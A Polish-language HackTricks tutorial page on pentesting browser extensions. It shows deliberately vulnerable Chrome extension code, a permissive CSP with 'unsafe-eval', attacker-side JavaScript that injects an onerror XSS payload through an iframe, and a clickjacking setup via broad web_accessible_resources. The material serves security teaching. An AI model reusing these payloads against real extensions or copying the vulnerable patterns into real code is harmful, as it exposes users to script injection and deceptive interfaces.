hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
2024-02-11 01:46:25 +00:00

7.5 KiB

BrowExt - Przykład XSS

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Cross-Site Scripting (XSS) za pomocą Iframe

W tej konfiguracji, skrypt treści jest implementowany w celu utworzenia Iframe, w którym zawarta jest URL z parametrami zapytania jako źródło Iframe:

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

Jest publicznie dostępna strona HTML o nazwie message.html, która dynamicznie dodaje zawartość do ciała dokumentu na podstawie parametrów w adresie URL:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

Wykonuje się złośliwy skrypt na stronie przeciwnika, modyfikując parametr content źródła Iframe, aby wprowadzić payload XSS. Osiąga się to poprzez aktualizację źródła Iframe, aby zawierało szkodliwy skrypt:

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

Nadmiernie liberalna polityka zabezpieczeń treści, taka jak:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

pozwala na wykonanie kodu JavaScript, co czyni system podatnym na ataki XSS.

Alternatywnym podejściem do wywołania ataku XSS jest utworzenie elementu Iframe i ustawienie jego źródła tak, aby zawierało szkodliwy skrypt jako parametr content:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

DOM-based XSS + ClickJacking

Ten przykład został zaczerpnięty z oryginalnego wpisu.

Główny problem wynika z podatności na DOM-based Cross-site Scripting (XSS) znajdującej się w /html/bookmarks.html. Problematyczny kod JavaScript, będący częścią bookmarks.js, jest szczegółowo opisany poniżej:

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

Ten fragment kodu pobiera wartość z pola wejściowego txtName i używa konkatenacji ciągów znaków do generowania kodu HTML, który jest następnie dodawany do DOM za pomocą funkcji .append() z biblioteki jQuery.

Zazwyczaj polityka bezpieczeństwa zawartości (CSP) rozszerzenia Chrome uniemożliwia występowanie takich podatności. Jednak ze względu na relaksację CSP z użyciem 'unsafe-eval' oraz wykorzystanie metod manipulacji DOM z biblioteki jQuery (które używają globalEval() do przekazywania skryptów do funkcji eval() podczas wstawiania do DOM), nadal istnieje możliwość wykorzystania podatności.

Choć ta podatność jest istotna, jej wykorzystanie zazwyczaj zależy od interakcji użytkownika: odwiedzenia strony, wprowadzenia ataku XSS i aktywacji przycisku "Dodaj".

Aby zwiększyć wykorzystanie tej podatności, wykorzystuje się dodatkową podatność clickjacking. Manifest rozszerzenia Chrome zawiera obszerną politykę web_accessible_resources:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Warto zauważyć, że strona /html/bookmarks.html jest podatna na osadzanie w ramkach, co czyni ją podatną na clickjacking. Ta podatność jest wykorzystywana do osadzenia strony w witrynie atakującego, nakładając na nią elementy DOM w celu oszukańczego przeprojektowania interfejsu. Ta manipulacja sprawia, że ofiary nieświadomie oddziałują z podstawowym rozszerzeniem.

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: